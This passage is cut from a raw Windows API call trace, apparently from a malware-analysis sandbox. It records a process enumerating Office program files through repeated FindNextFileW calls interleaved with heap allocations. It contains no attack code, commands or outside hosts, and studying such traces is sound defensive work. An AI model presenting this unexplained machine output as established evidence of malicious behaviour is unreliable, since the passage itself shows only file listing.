(HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1055168 [0069.403] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.403] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.403] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.403] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.403] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.403] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.403] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.403] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101b060 [0069.403] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1055270 [0069.403] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.403] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.403] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.403] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.403] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.403] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.404] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.404] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101b080 [0069.404] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1055378 [0069.404] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.404] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef99800, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdef99800, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x7770e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.HXS", cAlternateFileName="")) returned 1 [0069.404] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.404] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.404] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.404] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.404] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.404] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101b0a0 [0069.404] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10595c0 [0069.404] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.404] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXC", cAlternateFileName="")) returned 1 [0069.404] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.404] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.404] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.404] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.404] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.405] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101b0c0 [0069.405] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1059648 [0069.405] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.405] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXT", cAlternateFileName="")) returned 1 [0069.405] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.405] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.405] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.405] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.405] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.405] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101b0e0 [0069.405] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10596d0 [0069.405] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.405] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.405] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.405] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.405] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.405] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.405] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.405] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101b100 [0069.406] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1059758 [0069.406] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x3680) returned 0x105dbc0 [0069.406] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ca28) returned 1 [0069.406] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.406] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa5d8fb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.406] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.406] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.406] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.406] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.406] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.406] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101b120 [0069.406] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10597e0 [0069.406] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.406] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89452700, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89452700, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.DLL", cAlternateFileName="")) returned 1 [0069.406] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.406] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.406] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.407] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.407] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.407] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.407] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cfb800, ftCreationTime.dwHighDateTime=0x1cac79b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70cfb800, ftLastWriteTime.dwHighDateTime=0x1cac79b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.XLA", cAlternateFileName="")) returned 1 [0069.407] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.407] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.407] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.407] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.407] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.407] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101b140 [0069.407] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1059868 [0069.407] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.407] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x13f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.VSL", cAlternateFileName="")) returned 1 [0069.407] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.407] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.407] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.407] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.407] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.407] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101b160 [0069.408] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10598f0 [0069.408] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.408] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83340500, ftCreationTime.dwHighDateTime=0x1c937e6, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x83340500, ftLastWriteTime.dwHighDateTime=0x1c937e6, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLOCH.VRD", cAlternateFileName="")) returned 1 [0069.408] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.408] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.408] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOREST.CSS", cAlternateFileName="")) returned 1 [0069.408] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.CSS", cAlternateFileName="")) returned 1 [0069.408] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbba2a00, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfbba2a00, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x7fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VRD", cAlternateFileName="")) returned 1 [0069.408] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4e570, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VSL", cAlternateFileName="")) returned 1 [0069.408] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74d63000, ftCreationTime.dwHighDateTime=0x1bbd3c6, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74d63000, ftLastWriteTime.dwHighDateTime=0x1bbd3c6, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="GR8GALRY.GRA", cAlternateFileName="")) returned 1 [0069.408] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61152c00, ftCreationTime.dwHighDateTime=0x1c6e5fa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61152c00, ftLastWriteTime.dwHighDateTime=0x1c6e5fa, nFileSizeHigh=0x0, nFileSizeLow=0x94f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.HXS", cAlternateFileName="")) returned 1 [0069.408] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXC", cAlternateFileName="")) returned 1 [0069.408] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXT", cAlternateFileName="")) returned 1 [0069.408] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.408] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.408] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x32d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL", cAlternateFileName="")) returned 1 [0069.408] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x9380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.408] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x18780, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0069.408] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3180, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRLEX.DLL", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd9dd600, ftCreationTime.dwHighDateTime=0x1cacb3e, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdd9dd600, ftLastWriteTime.dwHighDateTime=0x1cacb3e, nFileSizeHigh=0x0, nFileSizeLow=0xbb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove Starter Template.xsn", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x22c410, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.HXS", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms5", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x863360, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXC", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXT", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.409] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, 